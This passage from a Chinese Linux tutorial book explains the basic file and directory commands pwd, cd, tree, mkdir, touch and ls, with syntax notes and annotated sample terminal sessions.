上述代码段中的这一组操作涉及了Linux的三个基本命令：touch（创建文件）、ls（查看目录下的内容）和rm（删除文件或目录）。怎么样？Linux还是很有趣的吧，当你熟练之后你会发现，这样的操作效率远比Windows下高很多，比如批量创建1万个文件的时候。
 
表5-2通过现实生活中的一个比喻让读者对命令的语法构成印象更加深刻。
 
表5-2　Linux命令语法格式的形象比喻

 
 [image: ]

 
5.1.3　Linux与Windows的目录结构对比
 
大家都熟悉Windows以及Windows的目录结构，图5-2是Linux与Windows的目录结构对比图，该图可以帮助读者快速理解Linux系统的目录结构，更多的目录知识将在第6章详细讲解。
 
 
 [image: ] 


图5-2　Linux与Windows目录结构对比
 
小结一下，Windows的目录形式为c：\windows\，当然还有d盘、e盘的目录结构，路径分隔符是“\”（撬棍，反斜线），Linux的目录形式为/etc/hosts，路径分割符为“/”（斜线），Linux系统一切目录的起点都是从“/”根开始。
5.2　Linux文件及目录核心命令
 
操作Linux命令行，最基本的对象就是目录和文件，因此本节开始为大家讲解一些基础且核心的操作Linux的基本命令，读者需要重点掌握。
 
5.2.1　pwd：显示当前所在位置的信息
 
【命令星级】　　★★★★★
 
【功能说明】
 
pwd命令是“print working directory”中每个单词的首字母缩写，其功能是显示当前工作目录的绝对路径。在实际工作中，我们在命令行操作命令时，经常会在各个目录路径间进行切换，此时可使用pwd命令快速查看当前所在的目录路径。
 
【语法格式】
 


pwd  [option]

pwd  [选项] 




 
[image: ]说明：
 
1）注意pwd命令与后面的选项之间至少要有一个空格。
 
2）通常情况下，执行pwd命令不需要附带任何参数。
 
【选项说明】
 
表5-3针对pwd的参数选项进行了说明。
 
表5-3　pwd命令的参数选项及说明
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查看命令帮助时，我们经常会看到“-L，--logical”这样的选项格式，这种写法的意思是“-L”和“--logical”的功能是一样的，在使用选项时，只需要选择一种即可，但不能同时使用，而我们最常用的就是简写的“-L”这种格式。
 
此外，在表5-3中提到的PWD系统环境变量，可以利用“$”符号输出其值，示例代码如下：
 


[root@oldboy ~]# echo $PWD  #<==echo命令能够输出指定变量，具体用法见echo命令。

/root

[root@oldboy ~]# pwd -L     #<==显示逻辑（忽略软链接文件）路径。

/root




 
也就是说，pwd-L和echo$PWD二者的功能是等价的。
 
【应用范例】
 
范例5-1：不带任何选项执行pwd命令。
 


[root@oldboy ~]# pwd             #<==不带任何选项执行pwd命令。

/root                             #<==输出的目录路径为当前用户root的家目录。

[root@oldboy ~]# cd /etc/init.d/  #<==进入/etc/init.d/目录，cd命令的具体用法请参

                              见本书5.2.2节cd命令的讲解。

[root@oldboy init.d]# pwd

/etc/init.d                     #<==此时用户所在的路径为/etc/init.d目录。




 
范例5-2：对比使用-L和-P参数（了解即可）。
 


[root@www init.d]# ll /etc/init.d #<==ls命令的具体用法请参见本书ls命令。

lrwxrwxrwx. 1 root root 11 Jan 29 20:29 /etc/init.d -> rc.d/init.d

#<==/etc/init.d是/etc/rc.d/init.d目录的软链接，相当于快捷方式。后面在讲解ln命令时

    （8.2.3节）会讲解此知识。

[root@oldboy init.d]# pwd -L     #<==获取环境变量的PWD对应的值，即为echo $PWD的结果。

/etc/init.d

[root@oldboy init.d]# echo $PWD  #<==输出环境变量PWD对应的值。

/etc/init.d

[root@oldboy init.d]# pwd -P     #<==显示链接对应的源文件的目录路径。

/etc/rc.d/init.d 




 
范例5-3：在Bash命令行显示当前用户的完整路径。
 
系统Bash命令行的提示符是由一个叫作PS1的系统环境变量控制的。PS1对应的知识见表5-4。
 
表5-4　PS1变量对应知识列表
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因此，要想查看当前PS1变量的值，可采用如下命令：
 


[root@oldboy ~]# echo $PS1  #<==打印超级管理员对应的PS1值。

[\u@\h \W]\$                #<== @是一个分隔符，与邮箱地址中的@作用类似。




 
可修改PS1变量对应的值，并让命令行显示全路径：
 


[root@oldboy ~]# PS1='[\u@\h \w]\$ '  #<==将默认的\W改为\w（小写w），此命令仅临时生效。

[root@oldboy ~]# cd /etc/sysconfig    #<==切换目录实验。

[root@oldboy /etc/sysconfig]#         #<==可以看到此处的路径就是全路径了。




 
上面的方法只是临时性的，若要让PS1变量永久生效，可采用如下配置方法。
 
编辑/etc/bashrc文件，找到符合下面内容的一行（大约在第36行），将内容中大写的W改为小写的w，即可让变量永久生效。也就是将：
 


[ "$PS1" = "\\s-\\v\\\$ " ] && PS1="[\u@\h \W]\\$ "




 
改为下面的内容，保存并退出/etc/bashrc文件：
 


[ "$PS1" = "\\s-\\v\\\$ " ] && PS1="[\u@\h \w]\\$ "




 
更漂亮美观的命令行PS1变量设置参数如下：
 


PS1="[\[\e[34;1m\]\u@\[\e[0m\]\[\e[32;1m\]\H\[\e[0m\]\[\e[31;1m\] \w\[\e[0m\]]\\$"




 
最后，注销重新登录系统或直接执行source/etc/bashrc使得修改的信息生效，有关Linux终端提示符还有很多有用又好玩的技巧呢！感兴趣的读者可以浏览老男孩博客的相关文章，地址为http://blog.oldboyedu.com/command-line-terminal/。
 
5.2.2　cd：切换目录
 
【命令星级】　　★★★★★
 
【功能说明】
 
cd命令是“changedirectory”中每个单词的首字母缩写，其功能是从当前工作目录切换到指定的工作目录。
 
【语法格式】
 


cd  [option]  [dir] 

cd  [选项]    [目录]




 
[image: ]说明：
 
1）注意cd命令以及后面的选项和目录，每个元素之间都至少要有一个空格。
 
2）cd命令后面的选项和目录等参数都可以省略。默认情况下，单独执行cd命令，可切换到当前登录用户的家目录（由系统环境变量HOME进行定义）。
 
3）cd是bash shell的内置命令，查看该命令对应的系统帮助需要使用help cd。
 
【选项说明】
 
表5-5针对cd命令的参数选项进行了说明。
 
表5-5　cd命令的参数选项及说明

 
 [image: ]

 
对于cd命令，笔者有一些实践经验分享如下。
 
·在使用cd命令时，如果使用键盘上“Tab”键的自动补齐功能，则可以提高输入速度和准确度。这个“Tab”键的自动补齐功能同样也适用于其他命令。

·需要了解一下路径的概念，比如，相对路径不是从“/”斜线开始的路径，而是从当前目录或指定的目录开始的，例如，data/，mnt/oldboy；绝对路径是从“/”斜线根开始的路径，例如，/data/、/mnt/oldboy。

·当需要切换到当前用户上一次所在的目录时，请使用“cd-”（注意中间的空格）；当需要切换到当前用户的家目录时，请使用“cd~”（注意中间的空格）；当需要切换到当前目录的上一级目录所在的路径时，请使用“cd..”（注意中间的空格）。
 
【实践范例】
 
范例5-4：进入系统/etc目录（cd/etc）。
 


[root@oldboy ~]# pwd

/root #<==在Linux系统中每个用户都有自己的家目录，默认情况下，用户登录系统后会进入自己的

　　　　　　 家目录。root用户的家目录是/root，普通用户的家目录默认是/home/用户名/。

[root@oldboy ~]# cd /usr/local/     #<==切换到/usr/local/目录。

[root@oldboy local]# pwd

/usr/local                       #<==此时已经进入/usr/local目录了。




 
范例5-5：切换到当前目录的上一级目录（cd..）。
 


[root@oldboy local]# pwd

/usr/local

[root@oldboy local]# cd .. #<==“..”等同于上一级目录名，也可以写成“../”。

[root@oldboy usr]# pwd

/usr                       #<==此时切换到了/usr目录。




 
范例5-6：进入当前目录的父目录的父目录（cd../../）中。
 


[root@oldboy usr]# cd /usr/local/

[root@oldboy local]# pwd

/usr/local

[root@oldboy local]# cd ../../  #<==退到当前目录的上两级目录，即退到“/”目录。

[root@oldboy /]# pwd

/




 
[image: ]提示：只要目录具有足够多的层次，则可一直这样继续下去“cd../../../..”，直到退到“/”为止。
 
范例5-7：返回当前用户上一次所在的目录（cd-）。
 


[root@oldboy /]# cd /usr/local/

[root@oldboy local]# pwd

/usr/local

[root@oldboy local]# cd   #<==cd命令不接任何参数时，从环境变量HOME获取路径名，即切换

                                到当前用户的家目录。

[root@oldboy ~]# pwd      #<==当前用户的工作路径为/root。

/root

[root@oldboy ~]# cd -     #<==执行“cd -”时，cd将从环境变量OLDPWD对应值获取路径名，

/usr/local                #<==即切换到了当前用户上一次的工作路径“/usr/local”。




 
范例5-8：进入当前用户的家目录（cd~）。
 


[root@oldboy /]# cd /usr/local/

[root@oldboy local]# pwd

/usr/local

[root@oldboy local]# cd ~       #<==“~”即键盘左上角Esc键下方的波浪符号，其代表家目录。

[root@oldboy ~]# pwd

/root                       #<==切换到当前用户的家目录。




 
[image: ]提示：执行不带任何参数的cd命令与“cd~”的结果一样。
 
5.2.3　tree：以树形结构显示目录下的内容
 
【命令星级】　　★★★★☆
 
【功能说明】
 
tree命令的中文意思为“树”，功能是以树形结构列出指定目录下的所有内容，包括所有文件、子目录及子目录里的目录和文件。
 
【语法格式】
 


tree  [option]  [directory]

tree  [选项]     [目录] 




 
[image: ]说明：
 
1）注意tree命令以及后面的选项和目录，每个元素之间都至少要有一个空格。
 
2）若tree命令后不接选项和目录，则默认显示当前所在路径目录的目录结构。
 
【选项说明】
 
表5-6针对tree命令的参数选项进行了说明。
 
表5-6　tree命令的参数选项及说明

 
 [image: ]

 
【应用范例】
 
在讲解范例之前，先做一些准备工作，步骤如下。
 
第一步，安装tree命令。
 
首先检查系统是否安装了tree命令，如果采用的是最小化安装Linux系统的方式，那么tree命令有可能并没有安装。此时可用yum命令安装tree命令：
 


[root@oldboy ~]# rpm -qa tree        #<==查询tree命令是否安装。

tree-1.5.3-2.el6.x86_64                 #<==如果没有显示就执行下面的命令。

[root@oldboy ~]# yum -y install tree #<==安装tree命令的yum命令，本书开头已带读者

                                安装过了。




 
第二步，调整系统字符集，防止树形结构显示乱码。
 
在使用树形结构时，很可能会因为字符集而导致出现乱码问题，比如导致树形的树枝部分都是问号，例如，下面的命令可做为临时解决树结构乱码的方法：
 


[root@oldboy ~]# LANG=en_US.UTF-8




 
这个问题与Linux系统字符集以及我们连接Linux的客户端的字符集都有关联。
 
范例5-9：不带任何参数执行tree命令。
 


[root@oldboy etc]# cd ~

[root@oldboy ~]# tree       #<==显示当前目录结构。

.      #<==“.”以当前目录为起点。

└── anaconda-ks.cfg

0 directories, 1 file




 
范例5-10：以树形结构显示目录下的所有内容（-a的功能）。
 


[root@oldboy ~]# tree -a #<==带-a参数显示所有文件（包括隐藏文件）。

.

├── anaconda-ks.cfg

├── .bash_history     #<==在Linux系统中，以“.”（点号）开头的文件为隐藏文件，默认不显示。

├── .bash_logout

├── .bash_profile

...省略若干行...

└── .viminfo

0 directories, 9 files




 
范例5-11：只列出根目录下第一层的目录结构（-L功能）。
 


[root@oldboy ~]# tree -L 1 /      #<==-L参数后接数字，表示查看目录的层数，若不带-L

　　　　　　　　　　　　　　　　　　　　　　 选项则默认显示所有层数。

/

├── bin -> usr/bin

├── boot

├── dev

...省略若干行...

├── media

├── mnt

├── opt

...省略若干行...

└── var

19 directories, 0 files




 
范例5-12：只显示所有的目录（但不显示文件）。
 


[root@oldboy ~]# tree -d /boot   #<==-d参数表示只显示目录。

/boot

├── efi

│   └── EFI

│       └── centos

├── grub

└── grub2

    ├── fonts

    ├── i386-pc

    └── locale

8 directories

[root@oldboy ~]# tree -dL 1 /boot #<==-d参数只显示目录，-L参数表示显示层数，这里是1层。

/boot

├── efi

├── grub

└── grub2

3 directories




 
范例5-13：使用tree命令区分目录和文件的方法（使用-F和-d参数）。
 


[root@oldboy ~]# tree -L 1 -F /boot/  #<==使用-F参数会在目录后面添加“/”，以方便区分

                                目录。

/boot/

├── config-3.10.0-957.1.3.el7.x86_64

├── config-3.10.0-957.el7.x86_64

├── efi/      #<==结尾带斜线的就是目录。

├── grub/

├── grub2/

├── initramfs-0-rescue-040ea756a4d344249aec0555d4c01569.img

├── initramfs-3.10.0-957.1.3.el7.x86_64.img

...省略若干行...

└── vmlinuz-3.10.0-957.el7.x86_64*

3 directories, 12 files

[root@oldboy ~]# tree -L 1 -F /boot/|grep /$   #<==过滤以斜线结尾的所有内容，如果大家

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　暂时还看不懂这个方法，可以等学完grep

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　命令后再回看。

/boot/

├── efi/

├── grub/

├── grub2/

[root@oldboy ~]# tree -L 1 -d /boot/   #<==使用-d参数只显示目录树，轻松过滤内容中的目录。

/boot/

|-- efi

|-- grub

`-- lost+found

3 directories




 
5.2.4　mkdir：创建目录
 
【命令星级】　　★★★★★
 
【功能说明】
 
mkdir命令是由“makedirectories”中每个单词的粗体字母组合而成，其功能是创建目录，默认情况下，如果要创建的目录已经存在，则会提示文件存在，而不会继续创建目录。
 
【语法格式】
 


mkdir  [option]  [directory] #<==注意mkdir命令以及后面的选项和目录之间都至少要有一

                                 个空格。

mkdir  [选项]    [目录 ]     #<== mkdir命令可以同时创建多个目录，格式为mkdir dir1

                                 dir2 …




 
【选项说明】
 
表5-7针对mkdir命令的参数选项进行了说明。
 
表5-7　mkdir命令的参数选项及说明

 
 [image: ]

 
【应用范例】
 
范例5-14：不使用任何命令参数创建目录的用法示例。
 
我们先查看下当前目录树的结构，命令如下：
 


[root@oldboy ~] # cd ~

[root@oldboy ~] # tree -d 

.               #<==根据结果可以看出当前目录下没有任何目录。

0 directories




 
开始测试创建目录，并检查，命令如下：
 


[root@oldboy ~]# mkdir data     #<==在当前目录下创建data目录，此处的data是相对路径。

[root@oldboy ~]# tree -d

.

└── data     #<==可以看到data目录已经创建。

1 directory

[root@oldboy ~]# mkdir data     #<==再次执行创建命令会提示目录已经存在。

mkdir: cannot create directory `data': File exists 




 
[image: ]扩展知识：
 
Windows下的目录路径样式为D：\data\test，而Linux下的路径样式为/data/test，它们的目录顶点和分隔符均不相同。
 
范例5-15：使用-p参数递归创建目录。
 
当我们创建多级目录时，如果第一级目录（oldboy）不存在，则创建结果会报错，导致无法成功创建，操作如下：
 


[root@oldboy ~]# mkdir oldboy/test

mkdir: cannot create directory `oldboy/test': No such file or directory 

    #<==提示没有这个文件或目录。




 
此时，可以指定-p参数递归创建多级目录，命令如下：
 


[root@oldboy ~]# mkdir -p oldboy/test

[root@oldboy ~]# tree -d

.

├── data

└── oldboy   #<==同时创建了oldboy目录及oldboy下的子目录test。

    └── test

3 directories




 
使用mkdir创建多级目录时，建议直接使用-p参数，可以避免出现“No such file or directory”这样没有文件或目录的报错了，且不会影响已存在的目录。
 
范例5-16：加-v参数显示创建目录的过程。
 
使用-v参数显示创建目录的详细过程，具体操作命令如下：
 


[root@oldboy ~]# mkdir -pv oldboy2/test

mkdir: created directory `oldboy2'

mkdir: created directory `oldboy2/test'




 
[image: ]提示：其实这个-v并无实际用途。
 
范例5-17：创建目录时可使用-m参数设置目录的默认权限。
 


[root@oldboy ~]# mkdir dir1

[root@oldboy ~]# ls -ld dir1                   #<== ls命令的使用方法详见后面的

                                                    5.2.6节ls命令的相关内容。

drwxr-xr-x 2 root root 4096 Nov  5 18:21 dir1  #<==创建该目录的默认权限为755。

[root@oldboy ~]# mkdir -m 333 dir2             #<==创建目录时指定333的数字权限。

[root@oldboy ~]# ls -ld dir2

d-wx-wx-wx 2 root root 4096 Nov  5 18:21 dir2  #<==可以看到权限已经发生了变化。




 
[image: ]提示：有关权限的知识可参考后文讲解的chmod命令。
 
5.2.5　touch：创建文件或更改文件时间戳
 
【命令星级】　　★★★★★
 
【功能说明】
 
touch命令包含两个功能：一是创建新的空文件；二是改变已有文件的时间戳属性。
 
【语法格式】
 


touch  [option]  [file]

touch  [选项]     [文件] 




 
[image: ]说明：
 
1）touch命令以及后面的选项和文件，每个元素之间都至少要有一个空格。
 
2）注意区分touch和mkdir命令的功能，mkdir命令是创建空目录，而touch是创建空文件。
 
3）在Linux中，一切皆文件。虽然touch命令不能创建目录，但是可以修改目录的时间戳。
 
【选项说明】
 
表5-8针对touch命令的参数选项进行了说明。
 
表5-8　touch命令的参数选项及说明

 
 [image: ]

 
【应用范例】
 
范例5-18：创建文件示例（用于文件事先不存在的情况）。
 


[root@oldboy ~]# mkdir /test          #<==在根下新建一个test目录。

[root@oldboy ~]# cd /test/            #<==切换到/test目录。

[root@oldboy test]# touch oldboy.txt  #<==创建空文件oldboy.txt。

[root@oldboy test]# ls                  #<==可以看到oldboy.txt文件创建成功。

oldboy.txt

[root@oldboy test]# touch a.txt b.txt  #<==同时创建多个文件，类似于mkdir创建多个目录。

[root@oldboy test]# ls

a.txt  b.txt  oldboy.txt

[root@oldboy test]# touch stu{01..05} #<==可以利用大括号“{}”输出的字符序列批量创建

                                          文件。

[root@oldboy test]# ls

a.txt  b.txt  oldboy.txt  stu01  stu02  stu03  stu04  stu05




 
范例5-19：更改文件的时间戳属性。
 


[root@oldboy ~]# stat oldboy.txt #<==stat命令可以查看文件的时间戳属性，具体用法见stat

                                     命令的讲解。

  File: `oldboy.txt'

  Size: 0               Blocks: 0          IO Block: 4096   regular empty file

Device: 802h/2050d      Inode: 272247      Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2015-07-30 17:37:32.295105308 +0800

Modify: 2015-07-30 17:37:32.295105308 +0800

Change: 2015-07-30 17:37:32.295105308 +0800

#<==说明：文件的时间戳属性分为访问时间、修改时间和状态改变时间。

[root@oldboy ~]# touch -a oldboy.txt #<==-a参数可用于更改最后的访问时间。

[root@oldboy ~]# stat oldboy.txt

  File: `oldboy.txt'

  Size: 0               Blocks: 0          IO Block: 4096   regular empty file

Device: 802h/2050d      Inode: 272247      Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2015-07-30 17:48:20.502156890 +0800

Modify: 2015-07-30 17:37:32.295105308 +0800

Change: 2015-07-30 17:48:20.502156890 +0800

[root@oldboy ~]# touch -m oldboy.txt  #<==-m参数用于更改最后的修改时间。

[root@oldboy ~]# stat oldboy.txt 

  File: `oldboy.txt

  Size: 0               Blocks: 0          IO Block: 4096   regular empty file

Device: 802h/2050d      Inode: 272247      Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2015-07-30 17:48:20.502156890 +0800

Modify: 2015-07-30 17:48:45.006106223 +0800

Change: 2015-07-30 17:48:45.006106223 +0800




 
范例5-20：指定时间属性创建/修改文件。
 
可利用选项-d指定创建文件后的文件修改时间，示例代码如下：
 


[root@oldboy ~]# ls -lh oldboy.txt

-rw-r--r-- 1 root root 0 Oct 23 20:20 oldboy.txt #<==修改前的文件修改时间是10月23日。

[root@oldboy ~]# touch -d 20201001 oldboy.txt    #<==指定创建文件后的文件修改时间为2020

                                                     年10月01日。

[root@oldboy ~]# ls -lh oldboy.txt

-rw-r--r-- 1 root root 0 Oct  1  2020 oldboy.txt #<==文件修改时间已改为2020年10月01日。




 
也可利用选项-r，修改oldboy.txt的时间属性，使其与a.txt的时间属性一致，示例代码如下：
 


[root@oldboy ~]# ls -lh a.txt 

-rw-r--r-- 1 root root 0 Oct 23 20:20 a.txt    #<==查看a.txt的修改时间。

[root@oldboy ~]# touch -r a.txt oldboy.txt     #<==使用-r参数使得oldboy.txt时间

     　　　　　　　　　　　　　　　　　　　　　　　　　　　　　属性与a.txt一致。

[root@oldboy ~]# ls -lh oldboy.txt

-rw-r--r-- 1 root root 0 Oct 23 20:20 oldboy.txt   #<==oldboy.txt文件的修改时间

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　已与a.txt一致了。




 
还可以利用选项-t，将文件设置为201512312234.50的时间格式，示例代码如下：
 


[root@oldboy ~]# touch -t 201512312234.50 oldboy.txt

[root@oldboy ~]# ls -lh --full-time oldboy.txt

-rw-r--r-- 1 root root 0 2015-12-31 22:34:50.000000000 +0800 oldboy.txt

    #<==查看设置的属性。




 
上述案例涉及的ls命令的用法详见后面5.2.6节ls的相关内容讲解。
 
【扩展知识】
 
这里扩展一点有关时间戳属性的知识。
 
GNU/Linux的文件共包含3种类型的时间戳：
 


Access: 2015-07-30 17:48:20.502156890 +0800    #<==文件最后被访问的时间。

Modify: 2015-07-30 17:48:45.006106223 +0800    #<==文件最后被修改的时间。

Change: 2015-07-30 17:48:45.006106223 +0800    #<==文件状态最后被改变的时间。




 
对应ls命令，查看上述时间戳的选项如下：
 


mtime: 最后修改时间（ls -lt） #<==修改文件内容，文件的修改时间（modify time）会改变。

ctime: 状态改变时间（ls -lc） #<==修改文件内容、移动文件或改变文件属性等，文件的change

　　　　　　　　　　　　　　　　　　时间会改变。

atime: 最后访问时间（ls -lu） #<==查看文件内容时，文件的访问时间（access time）会改变。




 
5.2.6　ls：显示目录下内容及属性信息的命令
 
【命令星级】　　★★★★★
 
【功能说明】
 
ls命令可以理解为英文单词List的缩写，其功能是列出目录的内容及其内容属性信息（list directory contents）。该命令有点类似于DOS系统下的dir命令，有趣的是Linux下其实也有dir命令，但我们更习惯使用ls。
 
【语法格式】
 


ls  [option]  [file]

ls  [选项]     [<文件或目录>] 




 
[image: ]说明：
 
1）ls命令以及后面的选项和文件，每个元素之间都至少要有一个空格。
 
2）命令后面的选项和目录文件可以省略，表示查看当前路径的文件信息。
 
【选项说明】
 
表5-9针对ls命令的参数选项进行了说明。
 
表5-9　ls命令的参数选项及说明

 
 [image: ]

 
【应用范例】
 
在开始范例讲解之前，先做一些准备，顺便整合一下使用前面的命令。准备代码如下：
 


[root@oldboy ~]# mkdir /test  #<==在根“/”下创建一个目录test。

[root@oldboy ~]# cd /test/    #<==切换到/test目录下。

[root@oldboy test]# touch file1.txt file2.txt file3.txt #<==批量创建若干文件。

[root@oldboy test]# mkdir dir1 dir2 dir3 #<==批量创建多个目录，每个目标目录名两端要

　　　　　　　　　　　　　　　　　　　　　　　　　　　 有空格。

[root@oldboy test]# tree                 #<==显示前面创建的文件及目录结构。

.

├── dir1

├── dir2

├── dir3

├── file1.txt

├── file2.txt

└── file3.txt

3 directories, 3 files 




 
范例5-21：直接执行ls命令，不带任何参数。
 


[root@oldboy test]# ls  #<==不加参数的结果，显示所有文件和目录

dir1  dir2  dir3  file1.txt  file2.txt  file3.txt




 
范例5-22：使用-a参数显示所有文件，特别是隐藏文件。
 


[root@oldboy test]# touch .file4.txt #<==再创建一个隐藏文件，在Linux系统中以“.”

　　　　　　　　　　　　　　　　　　　　　　　　　（点号）开头的文件就是隐藏文件。

[root@oldboy test]# ls

dir1  dir2  dir3  file1.txt  file2.txt  file3.txt

[root@oldboy test]# ls -a

.  ..  dir1  dir2  dir3  file1.txt  file2.txt  file3.txt  .file4.txt

#<==说明：加了-a参数，就会把以“.”（点号）开头的内容显示出来。这里显示的第一个点号，表示当前目录，即test目录本身，而两个点号表示当前目录的上级目录，此处就是代表根目录。有关一个点、两个点的知识，在8.2.3节的ln命令中会有详细讲解。

[root@oldboy test]# ls -A #<==列出所有文件，包括隐藏文件，但不包括“.”与“..”这两个目录。

dir1  dir2  dir3  file1.txt  file2.txt  file3.txt  .file4.txt




 
范例5-23：使用-l参数显示详细信息。
 


[root@oldboy test]# ls -l  #<==此处时间属性列默认显示的是文件的最后一次修改时间。

total 12

drwxr-xr-x 2 root root 4096 Oct 25 11:13 dir1

drwxr-xr-x 2 root root 4096 Oct 25 11:13 dir2

drwxr-xr-x 2 root root 4096 Oct 25 11:13 dir3

-rw-r--r-- 1 root root    0 Oct 25 11:13 file1.txt

-rw-r--r-- 1 root root    0 Oct 25 11:13 file2.txt

-rw-r--r-- 1 root root    0 Oct 25 11:13 file3.txt

#<==说明：这个“-l”参数是最常用的参数，意思是用长格式列出目录下的文件类型、权限，连接数、属主（组）及创建修改时间的信息。这里的每个列的属性含义都需要熟练掌握，后文会详细讨论这些属性信息。




 
可能有人已经注意到了，创建或修改时间的格式没有年份的信息，那么如何显示时间的全部信息呢？见范例5-24。
 
范例5-24：显示完整时间属性的参数--time-style=long-iso。
 


[root@oldboy test]# ls -l --time-style=long-iso   #<==以long-iso方式显示时间，

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　这个命令结果是非常棒的。

total 12

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir1

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir2

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir3

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file1.txt

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file2.txt

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file3.txt

#<==提示：这样的时间格式是不是看起来总是让人心情舒畅呢？--time-style的其他可选参数请大家自行测试。




 
对于上面的命令，说明如下。
 
1）--time-style包含的可选参数值有：full-iso、long-iso、iso、locale。默认值是locale。
 
2）在生产场景中经常会遇到同一目录下文件及目录时间的显示不一致的问题，所以需要用ls-l--time-style=long-iso来进行调整，如果觉得参数太多不好记，则可以设置一个别名来进行管理，详见后文的alias命令。
 
3）值得一提的是，执行ls-l等命令时，默认显示的是文件最后一次修改的时间（如果是新文件就是创建时间）。
 
4）ls--full-time用于显示完整的时间，等同于ls-l--time-style=full-iso。
 
既然ls-l输出结果的时间属性列为修改时间，那么能否改成其他的时间呢？例如，显示最后一次文件访问的时间。这当然是可以的，见下文。
 
范例5-25：执行ls命令，带显示内容的访问时间属性的参数。
 


[root@oldboy test]# stat file1.txt  #<==显示文件的属性及状态信息，stat命令后文会详细

                                        讲解，暂时不用理会。

  File: `file1.txt'

  Size: 0               Blocks: 0         IO Block: 4096   regular empty file

Device: 802h/2050d      Inode: 271005     Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/   root)   Gid: (    0/    root)

Access: 2015-10-25 11:13:38.875401372 +0800 #<==这里就是文件的访问时间，是我们现在

                                                需要关注的。

Modify: 2015-10-25 11:13:38.875401372 +0800

Change: 2015-10-25 11:13:38.875401372 +0800 

[root@oldboy test]# date #<==查看当前的系统时间。

Sun Oct 25 19:44:00 CST 2015 

[root@oldboy test]# cat file1.txt   #<==查看文件内容即表示访问文件了，cat命令后面会讲，

                                       暂时不用理会。

[root@oldboy test]# stat file1.txt  #<==重新查看文件的访问时间。

  File: `file1.txt'

  Size: 0               Blocks: 0          IO Block: 4096   regular empty file

Device: 802h/2050d      Inode: 271005      Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2015-10-25 19:44:22.033071250 +0800 #<==我们发现file1.txt的访问时间已经

                                                 发生了变化。

Modify: 2015-10-25 11:13:38.875401372 +0800

Change: 2015-10-25 11:13:38.875401372 +0800

[root@oldboy test]# ls -l --time-style=long-iso --time=atime 

    #<==增加--time=atime参数，显示访问时间。

total 12

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir1

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir2

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir3

-rw-r--r-- 1 root root    0 2015-10-25 19:44 file1.txt #<==文件的时间列确实发生了变化，

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 是前面的访问时间无疑。

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file2.txt

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file3.txt

[root@oldboy test]# ls -l --time-style=long-iso

total 12

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir1

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir2

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir3

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file1.txt #<==这里是文件的默认修改

                                                            时间列。

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file2.txt

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file3.txt

#<==通过以上实践，我们可以得出结论了。--time=atime显示的确实是访问时间，而非默认的修改时间。




 
对于上面的命令，说明如下。
 
1）与之相关的命令还有ls-l--time-style=long-iso--time=ctime，用于显示文件的改变时间。
 
2）有关文件时间列及mtime、atime、ctime的知识，前文在介绍touch命令时已经讲解过了。
 
范例5-26：执行ls命令，带-F参数（有些类似于tree命令的-F）。
 


[root@oldboy test]# ls -F

dir1/  dir2/  dir3/  file1.txt  file2.txt  file3.txt

#<==说明：加了-F之后,我们可以清晰地看到所有目录的结尾都加上了斜线/。这样的功能对于工作有什么用呢？当然有用了，例如，我们要过滤出所有的目录来，那么只需要将带斜线的过滤出来就可以了。

[root@oldboy test]# ls -F|grep / #<==过滤目录，grep命令的具体用法见后面grep章节。

dir1/

dir2/

dir3/

[root@oldboy test]# ls -F|grep -v /  #<==过滤普通文件。

file1.txt

file2.txt

file3.txt

#<==说明：ls的-F参数是在文件结尾加上文件类型指示符号（*、/、=、@、|，其中的一个）。




 
范例5-27：使用-d参数只显示目录本身的信息。
 
有时候我们想查看目录本身的信息，但是若使用“ls目录”命令，就会显示目录里面的内容。示例代码如下：
 


[root@oldboy test]# ls -l dir1  #<==这样根本无法查看dir1目录本身的信息，除非到上级

　　　　　　　　　　　　　　　　　　　　　　目录中查看。

total 0




 
如果只是想显示目录本身的信息，那么这个时候参数-d就能派上用场了，示例代码如下：
 


[root@oldboy test]# ls -ld dir1 #<==加-d参数就可以如愿以偿了。

drwxr-xr-x 2 root root 4096 Oct 25 11:13 dir1




 
范例5-28：使用-R参数递归查看目录。
 


[root@oldboy test]# mkdir dir1/sub1/test -p  #<==递归创建目录的命令。

[root@oldboy test]# ls -R dir1               #<==类似于tree但没有tree好用的方法。

dir1:

sub1



dir1/sub1:

test



dir1/sub1/test:




 
范例5-29：ls命令别名的相关知识及设置ls别名。
 
可通过如下命令查看ls在系统中的默认别名设置，执行等号前面的内容就会调用后面的命令：
 


[root@oldboy test]# alias|grep ls  #<==alias命令的用法请参见相应的alias章节。

alias l.='ls -d .* --color=tty'

alias ll='ls -l --color=tty'

alias ls='ls --color=tty'

#<==提示：什么是别名呢？别名很好理解，就是另外一个名字而已。




 
例如，显示时间格式的参数太长，这里就可以做个别名，示例代码如下：
 


[root@oldboy test]# alias lst='ls -l --time-style=long-iso' #<==配置命令别名。

[root@oldboy test]# alias |grep lst                  #<==检查命令别名是否生效。

alias lst='ls -l --time-style=long-iso'

[root@oldboy test]# lst                              #<==执行命令别名，检查效果。

total 12

